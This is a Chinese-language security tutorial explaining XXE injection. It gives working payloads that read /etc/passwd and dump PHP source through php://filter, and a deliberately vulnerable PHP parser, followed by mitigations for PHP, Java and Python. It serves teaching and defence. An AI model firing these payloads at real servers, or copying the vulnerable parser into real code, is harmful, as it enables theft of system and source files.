
原
理
介
绍

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。由于站点的建站语言不同,PHP、JAVA、python等也有不同的解析规则,但原理是相同的。
XML介绍
XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:
file:///path/filehttp://urlphp://filter/read=convert.base64-encode/resource=conf.php
XML在调用外部实体整体的写法如下:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec [<!ELEMENT methodname ANY ><!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]><methodcall><methodname>&xxe;</methodname></methodcall>
这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。
验证复现
XXE.php代码如下(考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析):
<?php$data = file_get_contents('php://input');$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);echo $xml->name;?>

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>


返回结果如下:

如果修改XML中的外部实体为其他协议,如
php://filter/read=convert.base64-encode/resource=index.php

返回值为:
PD9waHANCnBocGluZm8oKTsNCj8+
经过base64解码,可以看到字符串是index.php的源代码
<?phpphpinfo();?>
访问一下index.php,可以看到确实是执行了phpinfo()函数:

Python payload
运行payload:
https://github.com/littlebin404/XXE-Payload

通过urllib2的request方法用POST方式向目标地址发送XML数据,返回的数据即为服务器下的/etc/passwd文件

漏洞危害
XML外部实体注入可以造成的危害有:
任意文件读取
系统命令执行
内网主机及服务探测
修复方案

1.使用libxml 2.8.0以上版本xml解析库,默认禁止外部实体的解析
2.对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用函数进行过滤
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
3.可将外部实体、参数实体和内联DTD都被设置为false,从而避免基于XXE漏洞的攻击。PHP设置方法:
libxml_disable_entity_loader(true);
JAVA设置方法:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python设置方法:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
安全是一门朴素的学问,分享安全是一门朴素的学问,分享即即进步!进步!






